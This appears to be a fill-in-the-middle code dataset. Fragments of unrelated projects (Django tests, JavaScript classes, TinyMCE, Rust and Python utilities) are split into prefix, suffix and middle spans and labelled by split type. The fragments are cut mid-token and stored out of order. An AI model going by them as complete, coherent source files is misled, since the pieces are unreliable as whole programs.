class ThemeModelTest(TestCase): def setUp(self): self.directory = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data') self.files = [f for f in os.listdir(self.directory)] def test_pictogram(self): self.path = os.path.join(self.directory, 'picto.png') self.assertE...
from geotrek.common.factories import LabelFactory from geotrek.common.models import Theme from django.core.files import File from django.test import TestCase import os
random_line_split
test_models.py
from geotrek.common.factories import LabelFactory from geotrek.common.models import Theme from django.core.files import File from django.test import TestCase import os class ThemeModelTest(TestCase): def setUp(self): self.directory = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data') ...
def tearDown(self): for f in os.listdir(self.directory): if f not in self.files: os.remove(os.path.join(self.directory, f)) class LabelTest(TestCase): def test_str(self): label = LabelFactory.create(name="foo") self.assertEqual(str(label), "foo")
self.path = os.path.join(self.directory, 'picto.png') self.assertEqual(os.path.getsize(self.path), 6203) self.theme = Theme.objects.create() with open(self.path, 'rb') as picto_file: self.theme.pictogram = File(picto_file) file = self.theme.pictogram_off path_...
identifier_body
test_models.py
from geotrek.common.factories import LabelFactory from geotrek.common.models import Theme from django.core.files import File from django.test import TestCase import os class
(TestCase): def setUp(self): self.directory = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'data') self.files = [f for f in os.listdir(self.directory)] def test_pictogram(self): self.path = os.path.join(self.directory, 'picto.png') self.assertEqual(os.path.getsize(s...
ThemeModelTest
identifier_name
Parent.js
var User = require('./User') class Parent extends User { constructor( id, first_name, last_name, phone, active, ak_access_token, ak_user_id, ak_token_refresh_interval_sec, ak_token_last_renewed_timestamp, last_login_timestamp, created_on_timestamp, member_since_timesta...
() { return ` Parent\n ${super.toString()} neighborhood\t${this.neighborhood}\n otherNeighborhood\t${this.otherNeighborhood}\n kids\t${this.kids}\n ` } } module.exports = Parent
toString
identifier_name
Parent.js
var User = require('./User') class Parent extends User { constructor( id, first_name, last_name, phone, active, ak_access_token, ak_user_id, ak_token_refresh_interval_sec, ak_token_last_renewed_timestamp, last_login_timestamp, created_on_timestamp, member_since_timesta...
} toString() { return ` Parent\n ${super.toString()} neighborhood\t${this.neighborhood}\n otherNeighborhood\t${this.otherNeighborhood}\n kids\t${this.kids}\n ` } } module.exports = Parent
{ super( id, first_name, last_name, phone, "Parent", active, ak_access_token, ak_user_id, ak_token_refresh_interval_sec, ak_token_last_renewed_timestamp, last_login_timestamp, created_on_timestamp, member_since_timestamp, profilePho...
identifier_body
Parent.js
var User = require('./User') class Parent extends User { constructor( id, first_name, last_name, phone, active, ak_access_token, ak_user_id, ak_token_refresh_interval_sec, ak_token_last_renewed_timestamp, last_login_timestamp, created_on_timestamp, member_since_timesta...
` } } module.exports = Parent
neighborhood\t${this.neighborhood}\n otherNeighborhood\t${this.otherNeighborhood}\n kids\t${this.kids}\n
random_line_split
graph.js
/** * Created by faspert on 28.04.2015. */ 'use strict'; angular.module('gardenApp') .directive('gvDygraph', function () { return { restrict: 'EAC', //E = element, A = attribute, C = class, M = comment scope: true , //use parent's scope //replace: 'true', ...
var options = scope.options; if (options === undefined) { options = {}; } //do not update if data is empty if (scope.data.length != 0) options.file = scope.data; ...
console.log('scope changes');
random_line_split
plugin.js
startItems) { function appendItems(values, output) { output = output || []; tinymce.each(values, function(item) { var menuItem = {text: item.text || item.title}; if (item.menu) { menuItem.menu = appendItems(item.menu); } else { menuItem.value = item.value; itemCallback(menuItem); ...
newWidth = widthCtrl.value(); newHeight = heightCtrl.value(); if (win.find('#constrain')[0].checked() && width && height && newWidth && newHeight) { if (width != newWidth) { newHeight = Math.round((newWidth / width) * newHeight); heightCtrl.value(newHeight); } else { newWidth = Math.r...
{ return; }
conditional_block
plugin.js
startItems) { function appendItems(values, output) { output = output || []; tinymce.each(values, function(item) { var menuItem = {text: item.text || item.title}; if (item.menu) { menuItem.menu = appendItems(item.menu); } else { menuItem.value = item.value; itemCallback(menuItem); ...
height: data.height, style: data.style, "class": data["class"] }; editor.undoManager.transact(function() { if (!data.src) { if (imgElm) { dom.remove(imgElm); editor.focus(); editor.nodeChanged(); } return; } if (!imgElm) { data.id = '__mcenew'; ...
width: data.width,
random_line_split
plugin.js
startItems)
return appendItems(inputList, startItems || []); } function createImageList(callback) { return function() { var imageList = editor.settings.image_list; if (typeof(imageList) == "string") { tinymce.util.XHR.send({ url: imageList, success: function(text) { callback(tinymce.util.JSON.par...
{ function appendItems(values, output) { output = output || []; tinymce.each(values, function(item) { var menuItem = {text: item.text || item.title}; if (item.menu) { menuItem.menu = appendItems(item.menu); } else { menuItem.value = item.value; itemCallback(menuItem); } out...
identifier_body
plugin.js
startItems) { function appendItems(values, output) { output = output || []; tinymce.each(values, function(item) { var menuItem = {text: item.text || item.title}; if (item.menu) { menuItem.menu = appendItems(item.menu); } else { menuItem.value = item.value; itemCallback(menuItem); ...
(imgElm) { function selectImage() { imgElm.onload = imgElm.onerror = null; if (editor.selection) { editor.selection.select(imgElm); editor.nodeChanged(); } } imgElm.onload = function() { if (!data.width && !data.height && imageDimensions) { dom.setAttribs(imgElm, { ...
waitLoad
identifier_name
otp_mmap.rs
// Copyright lowRISC contributors. // Licensed under the Apache License, Version 2.0, see LICENSE for details. // SPDX-License-Identifier: Apache-2.0 use crate::otp::otp_img::OtpImg; use crate::otp::vmem_serialize::*; use crate::util::num_de::{self, DeferredValue}; use anyhow::{anyhow, bail, Result}; use serde::Deser...
#[derive(Deserialize, Debug)] struct OtpMapItem { name: String, #[serde(with = "num_de")] size: usize, #[serde(default)] isdigest: bool, inv_default: Option<DeferredValue>, } #[derive(Deserialize, Debug)] pub struct OtpMapPartition { name: String, secret: bool, #[serde(default, wit...
keys: Vec<OtpMapKey>, digests: Vec<OtpMapDigest>, }
random_line_split
otp_mmap.rs
// Copyright lowRISC contributors. // Licensed under the Apache License, Version 2.0, see LICENSE for details. // SPDX-License-Identifier: Apache-2.0 use crate::otp::otp_img::OtpImg; use crate::otp::vmem_serialize::*; use crate::util::num_de::{self, DeferredValue}; use anyhow::{anyhow, bail, Result}; use serde::Deser...
{ name: String, value: DeferredValue, } #[derive(Deserialize, Debug)] struct OtpMapDigest { name: String, iv_value: DeferredValue, cnst_value: DeferredValue, } #[derive(Deserialize, Debug)] struct OtpMapScrambling { #[serde(with = "num_de")] key_size: usize, #[serde(with = "num_de")] ...
OtpMapKey
identifier_name
otp_mmap.rs
// Copyright lowRISC contributors. // Licensed under the Apache License, Version 2.0, see LICENSE for details. // SPDX-License-Identifier: Apache-2.0 use crate::otp::otp_img::OtpImg; use crate::otp::vmem_serialize::*; use crate::util::num_de::{self, DeferredValue}; use anyhow::{anyhow, bail, Result}; use serde::Deser...
}
{ let _: OtpImg = deser_hjson::from_str(&read_to_string(testdata!("otp_ctrl_img_dev.hjson")).unwrap()) .unwrap(); }
identifier_body
advertise.js
// Copyright (c) 2015 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge...
}); client.once('advertised', onResponse); client.advertise(); function onResponse() { var result = client.latestAdvertisementResult; cluster.checkExitPeers(assert, { serviceName: 'hello-bob', hostPort: bob.channel.hostPort ...
{ fs.unlinkSync(hostPortFile); }
conditional_block
advertise.js
// Copyright (c) 2015 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge...
'expect to have at most 5 advertise results'); assert.end(); } }); }
assert.ok(result.body.connectionCount <= 5,
random_line_split
advertise.js
// Copyright (c) 2015 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge...
}); HyperbahnCluster.test('can advertise using hostPortFile', { size: 5 }, function t(cluster, assert) { var bob = cluster.remotes.bob; var hostPortFile; do { hostPortFile = '/tmp/host-' + crypto.randomBytes(4).readUInt32LE(0) + '.json'; } while (fs.exis...
{ var result = client.latestAdvertisementResult; cluster.checkExitPeers(assert, { serviceName: 'hello-bob', hostPort: bob.channel.hostPort }); assert.equal(result.head, null); // Because of duplicates in a size 5 cluster we k...
identifier_body
advertise.js
// Copyright (c) 2015 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge...
(HyperbahnCluster) { HyperbahnCluster.test('can advertise', { size: 5 }, function t(cluster, assert) { var bob = cluster.remotes.bob; var client = new HyperbahnClient({ serviceName: 'hello-bob', callerName: 'hello-bob-test', hostPortList: cluster.host...
runTests
identifier_name
decoder.py
# Copyright 2016 Conchylicultor. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
""" import tensorflow as tf import deepmusic.tfutils as tfutils import deepmusic.songstruct as music # TODO: Some class from the encoder and decoder are really similar. Could they be merged ? class DecoderNetwork: """ Predict a keyboard configuration at step t This is just an abstract class Warning: To ...
"""
random_line_split
decoder.py
# Copyright 2016 Conchylicultor. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
(self, prev_keyboard, prev_state_enco): """ Predict the next keyboard state Args: prev_keyboard (?): the previous keyboard configuration prev_state_enco (?): the encoder output state Return: Tuple: A tuple containing the predicted keyboard configuration and la...
get_cell
identifier_name
decoder.py
# Copyright 2016 Conchylicultor. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
next_keyboard = tf.concat(axis, next_keys) return next_keyboard, final_state class Perceptron(DecoderNetwork): """ Single layer perceptron. Just a proof of concept for the architecture """ @staticmethod def get_module_id(): return 'perceptron' def __init__(self, args): ...
next_keys.append(self.project_key(output))
conditional_block
decoder.py
# Copyright 2016 Conchylicultor. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
def __init__(self, args, *module_args): """ Args: args: parameters of the model """ super().__init__(args) self.args = args self.rnn_cell = None self.project_keyboard = None # Fct which project the decoder output into the ouput space def b...
return 'lstm'
identifier_body
DatabaseBuilder.py
%(asctime)-15s %(message)s") def get_system_info(): platform_info = platform.uname() version_info = sys.getwindowsversion() if sys.version > '3': os_name = "%s %s %s (%s)" % (platform_info.system, platform_info.release, version_info.service_pack, platform_info.machine) os_version = platf...
help='(optional) filter DLLs by name (see config.py)')
random_line_split
DatabaseBuilder.py
of the GNU General Public License # along with this program. If not, see # <http://www.gnu.org/licenses/>. # ######################################################################## import argparse import json import logging from operator import attrgetter import os import re import sys import platfor...
return dll_entry except Exception as exc: return None def _buildDllKey(self, dll_info): filename = os.path.basename(dll_info["filepath"]) return "{}_{}_{}_0x{:x}".format(dll_info["bitness"], dll_info["version"], filename, dll_info["base_address"]) ...
export_info = {} min_addr = min(pe.OPTIONAL_HEADER.ImageBase + exp.address, min_addr) max_addr = max(pe.OPTIONAL_HEADER.ImageBase + exp.address, max_addr) export_info["address"] = exp.address if exp.name == None: ...
conditional_block
DatabaseBuilder.py
of the GNU General Public License # along with this program. If not, see # <http://www.gnu.org/licenses/>. # ######################################################################## import argparse import json import logging from operator import attrgetter import os import re import sys import platfor...
def hiword(dword): return dword >> 16 def get_product_version(pe): try: ms = pe.VS_FIXEDFILEINFO.ProductVersionMS ls = pe.VS_FIXEDFILEINFO.ProductVersionLS return "%d.%d.%d.%d" % (hiword(ms), loword(ms), hiword(ls), loword(ls)) except AttributeError: return "0.0.0.0...
return dword & 0x0000ffff
identifier_body
DatabaseBuilder.py
of the GNU General Public License # along with this program. If not, see # <http://www.gnu.org/licenses/>. # ######################################################################## import argparse import json import logging from operator import attrgetter import os import re import sys import platfor...
(self, paths, filter_dlls=False): api_count = 0 pe_count = 0 duplicate_count = 0 skipped_count = 0 num_hit_dlls = 0 api_db = {"dlls": {}} if paths is None: paths = config.DEFAULT_FOLDERS for base in paths: if not os.path.i...
extractRecursively
identifier_name
application.js
// This is a manifest file that'll be compiled into including all the files listed below. // Add new JavaScript/Coffee code in separate files in this directory and they'll automatically // be included in the compiled file accessible from http://example.com/assets/application.js // It's not advisable to add code directl...
} function addCalculateTotalAmountBehaviour() { $("#line_items").find(":input[name$='[times]'], :input[name$='[quantity]'], :input[name$='[price]'], input[name$='[reference_code]']").on('keyup', handleLineItemChange); $("#line_items").bind("sortstop", handleLineItemChange); } // Sorting function updatePositions(...
{ updateLineItems(); }
conditional_block
application.js
// This is a manifest file that'll be compiled into including all the files listed below. // Add new JavaScript/Coffee code in separate files in this directory and they'll automatically // be included in the compiled file accessible from http://example.com/assets/application.js // It's not advisable to add code directl...
function addCalculateTotalAmountBehaviour() { $("#line_items").find(":input[name$='[times]'], :input[name$='[quantity]'], :input[name$='[price]'], input[name$='[reference_code]']").on('keyup', handleLineItemChange); $("#line_items").bind("sortstop", handleLineItemChange); } // Sorting function updatePositions(co...
{ // If character is <return> if(event.keyCode == 13) { // ...trigger form action $(event.currentTarget).submit(); } else if(event.keyCode == 32) { // ...trigger form action $(event.currentTarget).submit(); } else { updateLineItems(); } }
identifier_body
application.js
// This is a manifest file that'll be compiled into including all the files listed below. // Add new JavaScript/Coffee code in separate files in this directory and they'll automatically // be included in the compiled file accessible from http://example.com/assets/application.js // It's not advisable to add code directl...
}; return currencyRound(times * price * factor * direct_account_factor); } function updateLineItemTotalAmount(lineItem) { var total_amount_input = lineItem.find(".total_amount"); var total_amount = accounting.formatNumber(calculateLineItemTotalAmount(lineItem)); // Update Element total_amount_input.text(...
}; if (quantity_input.val() == '%') { times = times / 100;
random_line_split
application.js
// This is a manifest file that'll be compiled into including all the files listed below. // Add new JavaScript/Coffee code in separate files in this directory and they'll automatically // be included in the compiled file accessible from http://example.com/assets/application.js // It's not advisable to add code directl...
(value) { if (isNaN(value)) { return 0.0; }; rounded = Math.round(value * 20) / 20; return rounded.toFixed(2); } // Line Item calculation function updateLineItemPrice(lineItem) { var list = lineItem.parent(); var reference_code = lineItem.find(":input[name$='[reference_code]']").val(); var quantity...
currencyRound
identifier_name
makeregheader.py
re.sub(r'[0-9]+', '', regmap.name) key = '{type_ref}::{basename}'.format(**locals()) if type_ref is not None and regtype_emit[key].isdisjoint(regmap.chips): regtype_emit[key].update(regmap.chips) regtype = regdb.register_type(type_ref) for field ...
main
identifier_name
makeregheader.py
disambiguation='GFX8'), Object(name='stoney', disambiguation='GFX8'), Object(name='gfx9', disambiguation='GFX9'), Object(name='gfx10', disambiguation='GFX10'), ] ######### END HARDCODED CONFIGURATION def get_chip_index(chip): """ Given a chip name, return its index in the global CHIPS list. "...
enum_ref = getattr(field, 'enum_ref', None) self.field_lines.append(Object( address=regmap.map.at, chips=set(regmap.chips), name=field.name, field=field, bits...
continue
conditional_block
makeregheader.py
disambiguation='GFX8'), Object(name='stoney', disambiguation='GFX8'), Object(name='gfx9', disambiguation='GFX9'), Object(name='gfx10', disambiguation='GFX10'), ] ######### END HARDCODED CONFIGURATION def get_chip_index(chip): """ Given a chip name, return its index in the global CHIPS list. "...
basename = re.sub(r'[0-9]+', '', regmap.name) key = '{type_ref}::{basename}'.format(**locals()) if type_ref is not None and regtype_emit[key].isdisjoint(regmap.chips): regtype_emit[key].update(regmap.chips) regtype = regdb.register_type(type_ref) ...
self.guard = guard # The following contain: Object(address, chips, name, regmap/field/enumentry) self.register_lines = [] self.field_lines = [] self.value_lines = [] regtype_emit = defaultdict(set) enum_emit = defaultdict(set) for regmap in regdb.register_mappi...
identifier_body
makeregheader.py
disambiguation='GFX8'), Object(name='stoney', disambiguation='GFX8'), Object(name='gfx9', disambiguation='GFX9'), Object(name='gfx10', disambiguation='GFX10'), ] ######### END HARDCODED CONFIGURATION def get_chip_index(chip): """ Given a chip name, return its index in the global CHIPS list. "...
value_lines_by_address[line.address].append(line) for value_lines in value_lines_by_address.values(): if sort == 'address': value_lines.sort(key=lambda line: (line.enumentry.value, line.name)) else: value_lines.sort(key=lambda line: (line.name,...
# Collect and sort value lines by address value_lines_by_address = defaultdict(list) for line in self.value_lines:
random_line_split
extract_flat_files.py
#!/usr/bin/python """This script run the pathologic """ try: import optparse, sys, re, csv, traceback from optparse import OptionGroup import pickle import math from libs.python_modules.taxonomy.LCAComputation import * import operator from os import path, _exit, remove, rename import logging....
return taxa def MetaPathways_run_pathologic(argv, extra_command = None, errorlogger = None, runstatslogger =None): if errorlogger != None: errorlogger.write("#STEP\tBUILD_PGDB\n") createParser() main(argv, errorlogger = errorlogger, runcommand= extra_command, runstatslogger = runstatslogger) ...
taxa = "Unknown" + " (" + taxa_id + ")"
conditional_block
extract_flat_files.py
#!/usr/bin/python """This script run the pathologic """ try: import optparse, sys, re, csv, traceback from optparse import OptionGroup import pickle import math from libs.python_modules.taxonomy.LCAComputation import * import operator from os import path, _exit, remove, rename import logging....
standard_options_group.add_option('-p', '--pgdb', dest='pgdbdir', default=None, help='folder of the PGDB') standard_options_group.add_option('--ptoolsExec', dest='ptoolsExec', default=None, help='PathoLogic Executable') standard_options_group.add_optio...
standard_options_group.add_option('-s', '--sample', dest='sample_name', default=None, help='sample name')
random_line_split
extract_flat_files.py
#!/usr/bin/python """This script run the pathologic """ try: import optparse, sys, re, csv, traceback from optparse import OptionGroup import pickle import math from libs.python_modules.taxonomy.LCAComputation import * import operator from os import path, _exit, remove, rename import logging....
def printf(fmt, *args): sys.stdout.write(fmt % args) def files_exist( files , errorlogger = None): status = True for file in files: if not path.exists(file): if errorlogger: errorlogger.write( 'ERROR\tCould not find ptools input file : ' + file ) status = Fal...
file.write(fmt % args)
identifier_body
extract_flat_files.py
#!/usr/bin/python """This script run the pathologic """ try: import optparse, sys, re, csv, traceback from optparse import OptionGroup import pickle import math from libs.python_modules.taxonomy.LCAComputation import * import operator from os import path, _exit, remove, rename import logging....
(line): fields = line.split('\t') if len(fields)==2: return fields[1] def write_new_file(lines, output_file): print "Fixing file " + output_file try: outputfile = open(output_file,'w') pass except IOError: print "ERROR :Cannot open output file " + output...
getID
identifier_name
shrink_to_fit.rs
extern crate rand; extern crate ropey; use rand::Rng; use ropey::Rope;
let mut rng = rand::thread_rng(); let mut rope = Rope::new(); // Do a bunch of random incoherent inserts for _ in 0..(1 << 12) { let len = rope.len_chars().max(1); rope.insert(rng.gen::<usize>() % len, "Hello "); rope.insert(rng.gen::<usize>() % len, "world! "); rope.ins...
#[test] fn shrink_to_fit() {
random_line_split
shrink_to_fit.rs
extern crate rand; extern crate ropey; use rand::Rng; use ropey::Rope; #[test] fn
() { let mut rng = rand::thread_rng(); let mut rope = Rope::new(); // Do a bunch of random incoherent inserts for _ in 0..(1 << 12) { let len = rope.len_chars().max(1); rope.insert(rng.gen::<usize>() % len, "Hello "); rope.insert(rng.gen::<usize>() % len, "world! "); rop...
shrink_to_fit
identifier_name
shrink_to_fit.rs
extern crate rand; extern crate ropey; use rand::Rng; use ropey::Rope; #[test] fn shrink_to_fit()
let rope2 = rope.clone(); rope.shrink_to_fit(); assert_eq!(rope, rope2); assert!(rope.capacity() < rope2.capacity()); // Make sure the rope is sound rope.assert_integrity(); rope.assert_invariants(); rope2.assert_integrity(); rope2.assert_invariants(); }
{ let mut rng = rand::thread_rng(); let mut rope = Rope::new(); // Do a bunch of random incoherent inserts for _ in 0..(1 << 12) { let len = rope.len_chars().max(1); rope.insert(rng.gen::<usize>() % len, "Hello "); rope.insert(rng.gen::<usize>() % len, "world! "); rope.i...
identifier_body
backend.rs
//! Abstraction around the object writing crate use std::convert::{TryFrom, TryInto}; use rustc_data_structures::fx::FxHashMap; use rustc_session::Session; use cranelift_codegen::isa::TargetIsa; use cranelift_module::FuncId; use cranelift_object::{ObjectBuilder, ObjectModule, ObjectProduct}; use object::write::*; u...
target_lexicon::Endianness::Little => object::Endianness::Little, target_lexicon::Endianness::Big => object::Endianness::Big, }; let mut metadata_object = object::write::Object::new(binary_format, architecture, endian); metadata_object.add_file_symbol(name.as_bytes().to_vec()); f(&mut m...
}; let endian = match triple.endianness().unwrap() {
random_line_split
backend.rs
//! Abstraction around the object writing crate use std::convert::{TryFrom, TryInto}; use rustc_data_structures::fx::FxHashMap; use rustc_session::Session; use cranelift_codegen::isa::TargetIsa; use cranelift_module::FuncId; use cranelift_object::{ObjectBuilder, ObjectModule, ObjectProduct}; use object::write::*; u...
{ let mut builder = ObjectBuilder::new(isa, name + ".o", cranelift_module::default_libcall_names()).unwrap(); // Unlike cg_llvm, cg_clif defaults to disabling -Zfunction-sections. For cg_llvm binary size // is important, while cg_clif cares more about compilation times. Enabling -Zfunction-sections ...
identifier_body
backend.rs
//! Abstraction around the object writing crate use std::convert::{TryFrom, TryInto}; use rustc_data_structures::fx::FxHashMap; use rustc_session::Session; use cranelift_codegen::isa::TargetIsa; use cranelift_module::FuncId; use cranelift_object::{ObjectBuilder, ObjectModule, ObjectProduct}; use object::write::*; u...
(&mut self, symbol_name: String, data: Vec<u8>) { let segment = self.segment_name(object::write::StandardSegment::Data).to_vec(); let section_id = self.add_section(segment, b".rustc".to_vec(), object::SectionKind::Data); let offset = self.append_section_data(section_id, &data, 1); // For...
add_rustc_section
identifier_name